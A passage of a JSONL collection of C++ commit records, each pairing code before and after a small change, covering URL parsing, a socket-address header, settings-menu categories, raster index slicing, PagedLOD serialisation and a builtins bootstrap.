std::string(second_slash);\n                   host_port = std::string(first_slash_next, second_slash- first_slash_next);\n               }\n               const char * p_host = host_port.c_str();\n               const char * comma_port = strchr(p_host, ':');\n               *port=0;\n               if(comma_port != NULL){\n                   *port = (unsigned int) strtoul(comma_port+1,NULL,10);\n                    if( *port != ULONG_MAX && *port != 0){\n                        host = std::string(p_host, comma_port- p_host);\n                        davix_log_debug(\" host: %s path: %s protocol: %s port: %d\", host.c_str(), path.c_str(), protocol.c_str(), *port);\n                        return;\n                    }\n               }else{\n                   *port = (*proto  == (proto_support[0]))?ports[0]:ports[1];\n                   host = std::string(p_host);\n                   davix_log_debug(\" host: %s path: %s protocol: %s port: %d\", host.c_str(), path.c_str(), protocol.c_str(), *port);\n                   return;\n               }\n\n           }\n\n        }\n    }\n   throw Glib::Error(Glib::Quark(\"NEONSessionFactory::parse_http_neon_url\"), EINVAL, std::string(\"Invalid url format : \").append(url));\n}\n\nstd::string create_map_keys_from_URL(const std::string & protocol, const std::string &host, unsigned int port){\n    std::ostringstream oss;\n    if( (strcmp(protocol.c_str(), \"http\") ==0 && port == 80)\n            || ( strcmp(protocol.c_str(), \"https\") ==0 && port == 443)){\n      oss <<  protocol << host;\n    }else\n        oss <<  protocol << host << \":\" << port;\n    std::string res = oss.str();\n    davix_log_debug(\" creating session keys... %s\", res.c_str());\n    return res;\n}\n\n} \/\/ namespace Davix\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * author: Max Kellermann <mk@cm4all.com>\n *\/\n\n#ifndef STATIC_SOCKET_ADDRESS_HXX\n#define STATIC_SOCKET_ADDRESS_HXX\n\n#include <sys\/socket.h>\n#include <stddef.h>\n\nstruct sockaddr;\nclass Error;\n\nclass StaticSocketAddress {\n    friend class SocketDescriptor;\n\n    socklen_t size;\n    struct sockaddr_storage address;\n\npublic:\n    StaticSocketAddress() = default;\n\n    constexpr size_t GetCapacity() const {\n        return sizeof(address);\n    }\n\n    constexpr size_t GetSize() const {\n        return size;\n    }\n\n    operator struct sockaddr *() {\n        return reinterpret_cast<struct sockaddr *>(&address);\n    }\n\n    operator const struct sockaddr *() const {\n        return reinterpret_cast<const struct sockaddr *>(&address);\n    }\n\n    int GetFamily() const {\n        return address.ss_family;\n    }\n\n    bool IsDefined() const {\n        return GetFamily() != AF_UNSPEC;\n    }\n\n    void Clear() {\n        address.ss_family = AF_UNSPEC;\n    }\n\n    \/**\n     * Make this a \"local\" address (UNIX domain socket).\n     *\/\n    void SetLocal(const char *path);\n\n    bool Lookup(const char *host, int default_port, int socktype,\n                Error &error);\n};\n\n#endif\n<commit_msg>StaticSocketAddress: add SocketAddress cast operator<commit_after>\/*\n * author: Max Kellermann <mk@cm4all.com>\n *\/\n\n#ifndef STATIC_SOCKET_ADDRESS_HXX\n#define STATIC_SOCKET_ADDRESS_HXX\n\n#include \"SocketAddress.hxx\"\n\n#include <stddef.h>\n\nstruct sockaddr;\nclass Error;\n\nclass StaticSocketAddress {\n    friend class SocketDescriptor;\n\n    socklen_t size;\n    struct sockaddr_storage address;\n\npublic:\n    StaticSocketAddress() = default;\n\n    constexpr size_t GetCapacity() const {\n        return sizeof(address);\n    }\n\n    constexpr size_t GetSize() const {\n        return size;\n    }\n\n    operator SocketAddress() const {\n        return SocketAddress(reinterpret_cast<const struct sockaddr *>(&address),\n                             size);\n    }\n\n    operator struct sockaddr *() {\n        return reinterpret_cast<struct sockaddr *>(&address);\n    }\n\n    operator const struct sockaddr *() const {\n        return reinterpret_cast<const struct sockaddr *>(&address);\n    }\n\n    int GetFamily() const {\n        return address.ss_family;\n    }\n\n    bool IsDefined() const {\n        return GetFamily() != AF_UNSPEC;\n    }\n\n    void Clear() {\n        address.ss_family = AF_UNSPEC;\n    }\n\n    \/**\n     * Make this a \"local\" address (UNIX domain socket).\n     *\/\n    void SetLocal(const char *path);\n\n    bool Lookup(const char *host, int default_port, int socktype,\n                Error &error);\n};\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/* -*- Mode: C; indent-tabs-mode: s; c-basic-offset: 4; tab-width: 4 -*- *\/\n\/* vim:set et ai sw=4 ts=4 sts=4: tw=80 cino=\"(0,W2s,i2s,t0,l1,:0\" *\/\n\n#include \"maintranslations.h\"\n\nstatic const DcpCategoryInfo\nAccountsAndApplicationsElements[] = \n{\n    {\n        \/\/% \"Service accounts\"\n        QT_TRID_NOOP (\"qtn_sett_main_account\"),\n        \"Service accounts\",\n        PageHandle::ServiceAccounts,\n        NULL\n    },\n    {\n        \/\/% \"Applications\"\n        QT_TRID_NOOP (\"qtn_sett_main_application\"),\n        \"Applications\",\n        PageHandle::Applications,\n        NULL\n    },\n    {\n        \/\/ The last element must have the .titleId == 0\n\t    0, 0, PageHandle::NOPAGE, NULL\n    }\n};\n\n\/*\n * The applet categories that will be shown in the main window of the control\n * panel.\n *\/\nconst DcpCategoryInfo \nDcpMain::CategoryInfos[] = \n{\n    {\n        \/\/% \"Look & Feel\"\n\t    QT_TRID_NOOP (\"qtn_sett_main_look\"),\n    \t\"Look & Feel\",\n    \tPageHandle::LOOKANDFEEL,\n        NULL\n    },\n    {\n        \/\/% \"Sounds\"\n        QT_TRID_NOOP (\"qtn_sett_main_sound\"),\n        \"Sound\",\n        PageHandle::SOUND,\n        NULL\n    },\n    {\n        \/\/% \"Connectivity\"\n        QT_TRID_NOOP (\"qtn_sett_main_connectivity\"),\n        \"Connectivity\",\n        PageHandle::CONNECTIVITY,\n        NULL\n    },\n    {\n        \/\/% \"Regional settings\"\n        QT_TRID_NOOP (\"qtn_sett_main_region\"),\n        \"Regional settings\",\n        PageHandle::REGIONALSETTING,\n        NULL\n    },\n    {\n        \/\/% \"Device utilities\"\n        QT_TRID_NOOP (\"qtn_sett_main_device\"),\n        \"Device utilities\",\n        PageHandle::DEVICEUTILITIES,\n        NULL\n    },\n    {\n        \/\/% \"Device system\"\n        QT_TRID_NOOP (\"qtn_sett_main_data\"),\n        \"Device system\",\n        PageHandle::DEVICESYSTEM,\n        NULL\n    },\n    {\n        \/\/% \"Accounts & Applications\"\n        QT_TRID_NOOP (\"qtn_sett_main_combined\"),\n        \"Accounts & Applications\",\n        PageHandle::ACCOUNTSANDAPPLICATIONS,\n        AccountsAndApplicationsElements\n    },\n    {\n        \/\/ The last element must have the .titleId == 0\n\t    0, 0, PageHandle::NOPAGE, NULL\n    }\n};\n\n\n\/\/% \"Settings\"\nconst char* DcpMain::settingsTitleId = QT_TRID_NOOP(\"qtn_sett_main_title\");\n\n\/\/% \"Most recently used\"\nconst char* DcpMain::mostRecentUsedTitleId = QT_TRID_NOOP(\"qtn_sett_main_most\");\n\n\/\/% \"Exit\"\nconst char* DcpMain::quitMenuItemTextId = QT_TRID_NOOP(\"qtn_comm_exit\");\n\n\/*!\n * Will find a DcpCategoryInfo by the page type id. Uses recirsive search to\n * find sub-categories.\n *\/\nconst DcpCategoryInfo *\ndcp_find_category_info (\n        PageHandle::PageTypeId   id,\n        const DcpCategoryInfo   *info)\n{\n    \/*\n     * The default place to find infos.\n     *\/\n    if (info == NULL) {\n        info = DcpMain::CategoryInfos;\n    }\n\n    for (int n = 0; ; ++n) {\n        \/*\n         * The end of the array.\n         *\/\n        if (info[n].titleId == 0) {\n            return 0;\n        }\n\n        \/*\n         * If found it.\n         *\/\n        if (info[n].subPageId == id)\n            return &info[n];\n\n        \/*\n         * If we have a chance to search recursively.\n         *\/\n        if (info[n].staticElements != NULL) {\n            const DcpCategoryInfo *retval;\n\n            retval = dcp_find_category_info (id, info[n].staticElements);\n            if (retval)\n                return retval;\n        }\n    }\n\n    return NULL;\n}\n<commit_msg>updated category names<commit_after>\/* -*- Mode: C; indent-tabs-mode: s; c-basic-offset: 4; tab-width: 4 -*- *\/\n\/* vim:set et ai sw=4 ts=4 sts=4: tw=80 cino=\"(0,W2s,i2s,t0,l1,:0\" *\/\n\n#include \"maintranslations.h\"\n\nstatic const DcpCategoryInfo\nAccountsAndApplicationsElements[] = \n{\n    {\n        \/\/% \"Service accounts\"\n        QT_TRID_NOOP (\"qtn_sett_main_account\"),\n        \"Service accounts\",\n        PageHandle::ServiceAccounts,\n        NULL\n    },\n    {\n        \/\/% \"Applications\"\n        QT_TRID_NOOP (\"qtn_sett_main_application\"),\n        \"Applications\",\n        PageHandle::Applications,\n        NULL\n    },\n    {\n        \/\/ The last element must have the .titleId == 0\n\t    0, 0, PageHandle::NOPAGE, NULL\n    }\n};\n\n\/*\n * The applet categories that will be shown in the main window of the control\n * panel.\n *\/\nconst DcpCategoryInfo \nDcpMain::CategoryInfos[] = \n{\n    {\n        \/\/% \"Look & Feel\"\n\t    QT_TRID_NOOP (\"qtn_sett_main_look\"),\n    \t\"Look & Feel\",\n    \tPageHandle::LOOKANDFEEL,\n        NULL\n    },\n    {\n        \/\/% \"Connectivity\"\n        QT_TRID_NOOP (\"qtn_sett_main_connectivity\"),\n        \"Connectivity\",\n        PageHandle::CONNECTIVITY,\n        NULL\n    },\n    {\n        \/\/% \"Language & Region\"\n        QT_TRID_NOOP (\"qtn_sett_main_region\"),\n        \"Language & Region\",\n        PageHandle::REGIONALSETTING,\n        NULL\n    },\n        {\n        \/\/% \"Device system\"\n        QT_TRID_NOOP (\"qtn_sett_main_data\"),\n        \"Device system\",\n        PageHandle::DEVICESYSTEM,\n        NULL\n    },\n    {\n        \/\/% \"Accounts & Applications\"\n        QT_TRID_NOOP (\"qtn_sett_main_combined\"),\n        \"Accounts & Applications\",\n        PageHandle::ACCOUNTSANDAPPLICATIONS,\n        AccountsAndApplicationsElements\n    },\n    {\n        \/\/ The last element must have the .titleId == 0\n\t    0, 0, PageHandle::NOPAGE, NULL\n    }\n};\n\n\n\/\/% \"Settings\"\nconst char* DcpMain::settingsTitleId = QT_TRID_NOOP(\"qtn_sett_main_title\");\n\n\/\/% \"Most recently used\"\nconst char* DcpMain::mostRecentUsedTitleId = QT_TRID_NOOP(\"qtn_sett_main_most\");\n\n\/\/% \"Exit\"\nconst char* DcpMain::quitMenuItemTextId = QT_TRID_NOOP(\"qtn_comm_exit\");\n\n\/*!\n * Will find a DcpCategoryInfo by the page type id. Uses recirsive search to\n * find sub-categories.\n *\/\nconst DcpCategoryInfo *\ndcp_find_category_info (\n        PageHandle::PageTypeId   id,\n        const DcpCategoryInfo   *info)\n{\n    \/*\n     * The default place to find infos.\n     *\/\n    if (info == NULL) {\n        info = DcpMain::CategoryInfos;\n    }\n\n    for (int n = 0; ; ++n) {\n        \/*\n         * The end of the array.\n         *\/\n        if (info[n].titleId == 0) {\n            return 0;\n        }\n\n        \/*\n         * If found it.\n         *\/\n        if (info[n].subPageId == id)\n            return &info[n];\n\n        \/*\n         * If we have a chance to search recursively.\n         *\/\n        if (info[n].staticElements != NULL) {\n            const DcpCategoryInfo *retval;\n\n            retval = dcp_find_category_info (id, info[n].staticElements);\n            if (retval)\n                return retval;\n        }\n    }\n\n    return NULL;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"kernel.h\"\n#include \"raster.h\"\n#include \"rastercoverage.h\"\n#include \"pixeliterator.h\"\n#include \"connectorinterface.h\"\n#include \"symboltable.h\"\n#include \"domainitem.h\"\n#include \"itemdomain.h\"\n#include \"numericdomain.h\"\n#include \"numericitem.h\"\n#include \"numericitemrange.h\"\n#include \"ilwisoperation.h\"\n#include \"indexslicer.h\"\n\nusing namespace Ilwis;\n\nIndexSlicer::IndexSlicer(const IRasterCoverage &cov) : _raster(cov)\n{\n}\n\nvoid IndexSlicer::grid(const IRasterCoverage &cov)\n{\n    _raster = cov;\n}\n\nIRasterCoverage IndexSlicer::operator()(const QString &item)\n{\n    IDomain indexDomain = _raster->datadef().domain(DataDefinition::daLAYERINDEX);\n    if (!indexDomain.isValid())\n        return IRasterCoverage();\n    if ( hasType(indexDomain->valueType(), itNUMERIC)) {\n\n        QString basename = makeBaseName();\n\n        double index;\n        if ( indexDomain->valueType() == itNUMERICITEM)  {\n            index = _raster->layerIndex(item);\n        } else if ( hasType(indexDomain->valueType(),itNUMBER)) {\n            index  = findIndexNumber(indexDomain, item.toDouble());\n        }\n        if ( index == rUNDEF){\n            ERROR2(ERR_INVALID_PROPERTY_FOR_2, TR(\"item boundary\"), TR(\"Index slicing\"));\n            return IRasterCoverage();\n        }\n        QString cname;\n        QString expr = makeExpression(index, basename, cname);\n\n        IRasterCoverage mp = Operation::calculate<IRasterCoverage>(cname,expr);\n        if ( mp.isValid())\n            return mp;\n    }\n    return IRasterCoverage();\n}\n\nQString IndexSlicer::makeBaseName() const {\n    QString basename = _raster->name();\n    int ind = 0;\n    if( (ind=basename.lastIndexOf(\".\")) != -1){\n        basename = basename.left(ind);\n    }\n    return basename;\n}\n\nQString IndexSlicer::makeExpression(double index, const QString& basename, QString& cname) {\n    double rest1 = index - (int)index;\n    QString expr =  _raster->datadef().range(DataDefinition::daLAYERINDEX)->interpolation();\n    bool isContinous = _raster->datadef().range(DataDefinition::daLAYERINDEX)->isContinuous();\n    if ( std::abs(rest1) > EPS8 && isContinous) {\n        int lowerIndex = std::floor(index);\n        double rest2 = 1.0 - rest1;\n        cname = QString(\"%1_%2_%3\").arg(basename).arg(lowerIndex).arg(lowerIndex+1);\n        expr = cname + \"=\" + expr.arg(QString(\"%1*%2[%3]\")\n                                      .arg(rest2)\n                                      .arg(_raster->name())\n                                      .arg(lowerIndex))\n                .arg(QString(\"%1*%2[%3]\").\n                     arg(rest1).\n                     arg(_raster->name()).\n                     arg(lowerIndex+1));\n    } else {\n        cname = QString(\"%1_%2\").arg(basename).arg((int)index);\n        expr = QString(\"%1=%2[%3]\").arg(cname).arg( _raster->name()).arg((int)index);\n\n    }\n    return expr;\n}\n\ndouble IndexSlicer::findIndexNumber(const IDomain& indexDomain, double itemIndex) const{\n    INumericDomain numdom = indexDomain.get<NumericDomain>();\n    SPNumericRange numrange = numdom->range<NumericRange>();\n    if ( numrange->contains(itemIndex))\n        return itemIndex;\n    return rUNDEF;\n}\n\ndouble IndexSlicer::findIndexNumericalItem(const IDomain& indexDomain, const QString& itemIndex) const{\n\/\/    INumericItemDomain numdom = indexDomain.get<NumericItemDomain>();\n\/\/    SPNumericItemRange numrange = numdom->range<NumericItemRange>();\n\/\/    \/\/double index1 = _raster->index(indexItem);\n\/\/    double index1 = numrange->index(itemIndex);\n\n\/\/    return index1;\n}\n<commit_msg>added initialization<commit_after>#include \"kernel.h\"\n#include \"raster.h\"\n#include \"rastercoverage.h\"\n#include \"pixeliterator.h\"\n#include \"connectorinterface.h\"\n#include \"symboltable.h\"\n#include \"domainitem.h\"\n#include \"itemdomain.h\"\n#include \"numericdomain.h\"\n#include \"numericitem.h\"\n#include \"numericitemrange.h\"\n#include \"ilwisoperation.h\"\n#include \"indexslicer.h\"\n\nusing namespace Ilwis;\n\nIndexSlicer::IndexSlicer(const IRasterCoverage &cov) : _raster(cov)\n{\n}\n\nvoid IndexSlicer::grid(const IRasterCoverage &cov)\n{\n    _raster = cov;\n}\n\nIRasterCoverage IndexSlicer::operator()(const QString &item)\n{\n    IDomain indexDomain = _raster->datadef().domain(DataDefinition::daLAYERINDEX);\n    if (!indexDomain.isValid())\n        return IRasterCoverage();\n    if ( hasType(indexDomain->valueType(), itNUMERIC)) {\n\n        QString basename = makeBaseName();\n\n        double index = rUNDEF;\n        if ( indexDomain->valueType() == itNUMERICITEM)  {\n            index = _raster->layerIndex(item);\n        } else if ( hasType(indexDomain->valueType(),itNUMBER)) {\n            index  = findIndexNumber(indexDomain, item.toDouble());\n        }\n        if ( index == rUNDEF){\n            ERROR2(ERR_INVALID_PROPERTY_FOR_2, TR(\"item boundary\"), TR(\"Index slicing\"));\n            return IRasterCoverage();\n        }\n        QString cname;\n        QString expr = makeExpression(index, basename, cname);\n\n        IRasterCoverage mp = Operation::calculate<IRasterCoverage>(cname,expr);\n        if ( mp.isValid())\n            return mp;\n    }\n    return IRasterCoverage();\n}\n\nQString IndexSlicer::makeBaseName() const {\n    QString basename = _raster->name();\n    int ind = 0;\n    if( (ind=basename.lastIndexOf(\".\")) != -1){\n        basename = basename.left(ind);\n    }\n    return basename;\n}\n\nQString IndexSlicer::makeExpression(double index, const QString& basename, QString& cname) {\n    double rest1 = index - (int)index;\n    QString expr =  _raster->datadef().range(DataDefinition::daLAYERINDEX)->interpolation();\n    bool isContinous = _raster->datadef().range(DataDefinition::daLAYERINDEX)->isContinuous();\n    if ( std::abs(rest1) > EPS8 && isContinous) {\n        int lowerIndex = std::floor(index);\n        double rest2 = 1.0 - rest1;\n        cname = QString(\"%1_%2_%3\").arg(basename).arg(lowerIndex).arg(lowerIndex+1);\n        expr = cname + \"=\" + expr.arg(QString(\"%1*%2[%3]\")\n                                      .arg(rest2)\n                                      .arg(_raster->name())\n                                      .arg(lowerIndex))\n                .arg(QString(\"%1*%2[%3]\").\n                     arg(rest1).\n                     arg(_raster->name()).\n                     arg(lowerIndex+1));\n    } else {\n        cname = QString(\"%1_%2\").arg(basename).arg((int)index);\n        expr = QString(\"%1=%2[%3]\").arg(cname).arg( _raster->name()).arg((int)index);\n\n    }\n    return expr;\n}\n\ndouble IndexSlicer::findIndexNumber(const IDomain& indexDomain, double itemIndex) const{\n    INumericDomain numdom = indexDomain.get<NumericDomain>();\n    SPNumericRange numrange = numdom->range<NumericRange>();\n    if ( numrange->contains(itemIndex))\n        return itemIndex;\n    return rUNDEF;\n}\n\ndouble IndexSlicer::findIndexNumericalItem(const IDomain& indexDomain, const QString& itemIndex) const{\n\/\/    INumericItemDomain numdom = indexDomain.get<NumericItemDomain>();\n\/\/    SPNumericItemRange numrange = numdom->range<NumericItemRange>();\n\/\/    \/\/double index1 = _raster->index(indexItem);\n\/\/    double index1 = numrange->index(itemIndex);\n\n\/\/    return index1;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**********************************************************************\n *\n *\tFILE:\t\t\tLOD.cpp\n *\n *\tDESCRIPTION:\tRead\/Write osg::LOD in binary format to disk.\n *\n *\tCREATED BY:\t\tAuto generated by iveGenerate\n *\t\t\t\t\tand later modified by Rune Schmidt Jensen.\n *\n *\tHISTORY:\t\tCreated 24.3.2003\n *\n *\tCopyright 2003 VR-C\n **********************************************************************\/\n\n#include \"Exception.h\"\n#include \"PagedLOD.h\"\n#include \"Node.h\"\n\nusing namespace ive;\n\nvoid PagedLOD::write(DataOutputStream* out){\n\t\/\/ Write LOD's identification.\n\tout->writeInt(IVEPAGEDLOD);\n\t\/\/ If the osg class is inherited by any other class we should also write this to file.\n\n        osg::Node* node = dynamic_cast<osg::Node*>(this);\n        if(node){\n            static_cast<ive::Node*>(node)->write(out);\n        }\n        else\n\t\tthrow Exception(\"PagedLOD::write(): Could not cast this osg::PagedLOD to an osg::LOD.\");\n\n        unsigned int numChildrenToWriteOut = 0;\n\n        int i;\n        for(i=0; i<(int)getNumFileNames();++i)\n        {\n            if (getFileName(i).empty())\n            {\n                ++numChildrenToWriteOut;\n            }\n        }\n\n\t\/\/ Write Group's properties.\n        \/\/ Write number of children.\n        out->writeInt(numChildrenToWriteOut);\n        \/\/ Write children.\n        for(i=0; i<(int)getNumChildren(); i++){\n            if (getFileName(i).empty())\n            {\n                osg::Node* child = getChild(i);\n                out->writeNode(child);\n            }\n        }\n\n        \/\/ LOD properties\n\t\/\/ Write centermode\n\tout->writeInt(getCenterMode());\n\tout->writeVec3(getCenter());\n        \/\/ Write rangelist\n\tint size = getNumRanges();\n\tout->writeInt(size);\n\tfor(i=0;i<size;i++){\n\t\tout->writeFloat(getMinRange(i));\n\t\tout->writeFloat(getMaxRange(i));\n\t}\n\n\n        \/\/ PagedLOD properties\n\tsize = getNumFileNames();\n\tout->writeInt(size);\n\tfor(i=0;i<size;i++){\n\t\tout->writeString(getFileName(i));\n\t}\n}\n\nvoid PagedLOD::read(DataInputStream* in){\n\t\/\/ Peek on LOD's identification.\n\tint id = in->peekInt();\n\tif(id == IVEPAGEDLOD){\n\t\t\/\/ Read LOD's identification.\n\t\tid = in->readInt();\n\t\t\/\/ If the osg class is inherited by any other class we should also read this from file.\n                osg::Node* node = dynamic_cast<osg::Node*>(this);\n                if(node){\n                    ((ive::Node*)(node))->read(in);\n                }\n                else\n                    throw Exception(\"Group::read(): Could not cast this osg::Group to an osg::Node.\");\n\n\n                \/\/ Read groups properties.\n                \/\/ Read number of children.\n                int size = in->readInt();\n                \/\/ Read children.\n                for(int i=0; i<size; i++)\n                {\n                    addChild(in->readNode());            \n                }\n\n\t\t\/\/ Read centermode\n\t\tsetCenterMode((osg::LOD::CenterMode)in->readInt());\n\t\tsetCenter(in->readVec3());\n\t\t\/\/ Read rangelist\n\t\tsize = in->readInt();\n\t\tfor(int i=0;i<size;i++){\n\t\t\tfloat min = in->readFloat();\n\t\t\tfloat max = in->readFloat();\n\t\t\tsetRange(i, min, max);\n\t\t}\n\n\t\tsize = in->readInt();\n\t\tfor(int i=0;i<size;i++){\n\t\t\tsetFileName(i, in->readString());\n\t\t}\n\t}\n\telse{\n\t\tthrow Exception(\"LOD::read(): Expected LOD identification.\");\n\t}\n}\n<commit_msg>Fixed VC6 for scoping problem in ive plugin.<commit_after>\/**********************************************************************\n *\n *\tFILE:\t\t\tLOD.cpp\n *\n *\tDESCRIPTION:\tRead\/Write osg::LOD in binary format to disk.\n *\n *\tCREATED BY:\t\tAuto generated by iveGenerate\n *\t\t\t\t\tand later modified by Rune Schmidt Jensen.\n *\n *\tHISTORY:\t\tCreated 24.3.2003\n *\n *\tCopyright 2003 VR-C\n **********************************************************************\/\n\n#include \"Exception.h\"\n#include \"PagedLOD.h\"\n#include \"Node.h\"\n\nusing namespace ive;\n\nvoid PagedLOD::write(DataOutputStream* out){\n\t\/\/ Write LOD's identification.\n\tout->writeInt(IVEPAGEDLOD);\n\t\/\/ If the osg class is inherited by any other class we should also write this to file.\n\n        osg::Node* node = dynamic_cast<osg::Node*>(this);\n        if(node){\n            static_cast<ive::Node*>(node)->write(out);\n        }\n        else\n\t\tthrow Exception(\"PagedLOD::write(): Could not cast this osg::PagedLOD to an osg::LOD.\");\n\n        unsigned int numChildrenToWriteOut = 0;\n\n        int i;\n        for(i=0; i<(int)getNumFileNames();++i)\n        {\n            if (getFileName(i).empty())\n            {\n                ++numChildrenToWriteOut;\n            }\n        }\n\n\t\/\/ Write Group's properties.\n        \/\/ Write number of children.\n        out->writeInt(numChildrenToWriteOut);\n        \/\/ Write children.\n        for(i=0; i<(int)getNumChildren(); i++){\n            if (getFileName(i).empty())\n            {\n                osg::Node* child = getChild(i);\n                out->writeNode(child);\n            }\n        }\n\n        \/\/ LOD properties\n\t\/\/ Write centermode\n\tout->writeInt(getCenterMode());\n\tout->writeVec3(getCenter());\n        \/\/ Write rangelist\n\tint size = getNumRanges();\n\tout->writeInt(size);\n\tfor(i=0;i<size;i++){\n\t\tout->writeFloat(getMinRange(i));\n\t\tout->writeFloat(getMaxRange(i));\n\t}\n\n\n        \/\/ PagedLOD properties\n\tsize = getNumFileNames();\n\tout->writeInt(size);\n\tfor(i=0;i<size;i++){\n\t\tout->writeString(getFileName(i));\n\t}\n}\n\nvoid PagedLOD::read(DataInputStream* in){\n\t\/\/ Peek on LOD's identification.\n\tint id = in->peekInt();\n\tif(id == IVEPAGEDLOD){\n\t\t\/\/ Read LOD's identification.\n\t\tid = in->readInt();\n\t\t\/\/ If the osg class is inherited by any other class we should also read this from file.\n                osg::Node* node = dynamic_cast<osg::Node*>(this);\n                if(node){\n                    ((ive::Node*)(node))->read(in);\n                }\n                else\n                    throw Exception(\"Group::read(): Could not cast this osg::Group to an osg::Node.\");\n\n\n                \/\/ Read groups properties.\n                \/\/ Read number of children.\n                int size = in->readInt();\n                \/\/ Read children.\n\t\tint i;\n                for(i=0; i<size; i++)\n                {\n                    addChild(in->readNode());            \n                }\n\n\t\t\/\/ Read centermode\n\t\tsetCenterMode((osg::LOD::CenterMode)in->readInt());\n\t\tsetCenter(in->readVec3());\n\t\t\/\/ Read rangelist\n\t\tsize = in->readInt();\n\t\tfor(i=0;i<size;i++){\n\t\t\tfloat min = in->readFloat();\n\t\t\tfloat max = in->readFloat();\n\t\t\tsetRange(i, min, max);\n\t\t}\n\n\t\tsize = in->readInt();\n\t\tfor(i=0;i<size;i++){\n\t\t\tsetFileName(i, in->readString());\n\t\t}\n\t}\n\telse{\n\t\tthrow Exception(\"LOD::read(): Expected LOD identification.\");\n\t}\n}\n<|endoftext|>"}
{"text":"<commit_before>\n#include \"CommonHeaders.h\"\n\n#include \"Builtins.h\"\n#include \"CodeUnit.h\"\n#include \"Function.h\"\n#include \"Type.h\"\n\nnamespace builtins {\n\nstatic codeunit::CodeUnit* KERNEL = NULL;\n\nvoid bootstrap()\n{\n   KERNEL = new codeunit::CodeUnit;\n\n   \/\/ Create constant-generator function. This function takes a Type as\n   \/\/ input, and gives a Function as output.\n   Term* constFuncGenerator = codeunit::bootstrap_empty_term(KERNEL);\n   function::initialize_data(constFuncGenerator);\n   function::set_name(constFuncGenerator, \"constant-generator\");\n   \n   \/\/ Create constant-Type function. This function outputs a Type.\n   Term* constType = codeunit::bootstrap_empty_term(KERNEL);\n   constType->function = constFuncGenerator;\n   function::initialize_data(constType);\n   function::set_name(constType, \"constant-Type\");\n\n   \/\/ Create Type type\n   Term* typeType = codeunit::bootstrap_empty_term(KERNEL);\n   typeType->function = constType;\n   codeunit::bind_name(KERNEL, typeType, \"Type\");\n   type::initialize_data_for_types(typeType);\n   type::set_initialize_data_func(typeType, type::initialize_data_for_types);\n\n   \/\/ Implant the Type type\n   codeunit::set_input(KERNEL, constType, 0, typeType);\n   function::set_input_type(constFuncGenerator, 0, typeType);\n   function::set_output_type(constType, typeType);\n\n   \/\/ Create constant-Function function, which outputs Functions.\n   Term* constFuncFunc = codeunit::bootstrap_empty_term(KERNEL);\n   constFuncFunc->function = constFuncGenerator;\n   function::initialize_data(constFuncFunc);\n   function::set_name(constFuncFunc, \"constant-Function\");\n\n   \/\/ Create Function type\n   Term* funcType = codeunit::bootstrap_empty_term(KERNEL);\n   funcType->function = constFuncFunc;\n   type::initialize_data_for_types(funcType);\n   codeunit::bind_name(KERNEL, funcType, \"Function\");\n\n   \/\/ Implant constant-Function\n   codeunit::set_input(KERNEL, constFuncGenerator, 0, constFuncFunc);\n   function::set_output_type(constFuncFunc, funcType);\n\n   \/\/ Implant Function type\n   codeunit::set_input(KERNEL, constFuncFunc, 0, funcType);\n   function::set_output_type(constFuncGenerator, funcType);\n}\n\n}\n<commit_msg>Fix stuff that Scons deleted<commit_after>\n#include \"CommonHeaders.h\"\n\n#include \"Builtins.h\"\n#include \"CodeUnit.h\"\n#include \"Function.h\"\n#include \"Type.h\"\n\nnamespace builtins {\n\nstatic codeunit::CodeUnit* KERNEL = NULL;\ncodeunit::CodeUnit* BUILTINS = NULL;\n\nTerm* CONST_GENERATOR = NULL;\nTerm* TYPE_TYPE = NULL;\nTerm* INT_TYPE = NULL;\nTerm* STRING_TYPE = NULL;\n\nvoid bootstrap_kernel()\n{\n   KERNEL = new codeunit::CodeUnit;\n\n   \/\/ Create constant-generator function. This function takes a Type as\n   \/\/ input, and gives a Function as output.\n   CONST_GENERATOR = codeunit::bootstrap_empty_term(KERNEL);\n   function::initialize_data(CONST_GENERATOR);\n   function::set_name(CONST_GENERATOR, \"constant-generator\");\n   \n   \/\/ Create constant-Type function. This function outputs a Type.\n   Term* constType = codeunit::bootstrap_empty_term(KERNEL);\n   constType->function = CONST_GENERATOR;\n   function::initialize_data(constType);\n   function::set_name(constType, \"constant-Type\");\n\n   \/\/ Create Type type\n   TYPE_TYPE = codeunit::bootstrap_empty_term(KERNEL);\n   TYPE_TYPE->function = constType;\n   codeunit::bind_name(KERNEL, TYPE_TYPE, \"Type\");\n   type::initialize_data_for_types(TYPE_TYPE);\n   type::set_initialize_data_func(TYPE_TYPE, type::initialize_data_for_types);\n\n   \/\/ Implant the Type type\n   codeunit::set_input(KERNEL, constType, 0, TYPE_TYPE);\n   function::set_input_type(CONST_GENERATOR, 0, TYPE_TYPE);\n   function::set_output_type(constType, TYPE_TYPE);\n\n   \/\/ Create constant-Function function, which outputs Functions.\n   Term* constFuncFunc = codeunit::bootstrap_empty_term(KERNEL);\n   constFuncFunc->function = CONST_GENERATOR;\n   function::initialize_data(constFuncFunc);\n   function::set_name(constFuncFunc, \"constant-Function\");\n\n   \/\/ Create Function type\n   Term* funcType = codeunit::bootstrap_empty_term(KERNEL);\n   funcType->function = constFuncFunc;\n   type::initialize_data_for_types(funcType);\n   codeunit::bind_name(KERNEL, funcType, \"Function\");\n\n   \/\/ Implant constant-Function\n   codeunit::set_input(KERNEL, CONST_GENERATOR, 0, constFuncFunc);\n   function::set_output_type(constFuncFunc, funcType);\n\n   \/\/ Implant Function type\n   codeunit::set_input(KERNEL, constFuncFunc, 0, funcType);\n   function::set_output_type(CONST_GENERATOR, funcType);\n}\n\nvoid bootstrap_builtins()\n{\n    \/\/ Create primitives\n\n    \/\/ Create int type\n    INT_TYPE = codeunit::create_term(BUILTINS, CONST_GENERATOR, TermList(TYPE_TYPE));\n    type::set_initialize_data_func(INT_TYPE, int_type::initialize_data);\n    type::set_to_string_func(INT_TYPE, int_type::to_string);\n\n    \/\/ Create string type\n    STRING_TYPE = codeunit::create_term(BUILTINS, CONST_GENERATOR, TermList(TYPE_TYPE));\n    type::set_initialize_data_func(STRING_TYPE, string_type::initialize_data);\n    type::set_to_string_func(STRINGINT_TYPE, string_type::to_string);\n\n}\n\n}\n<|endoftext|>"}
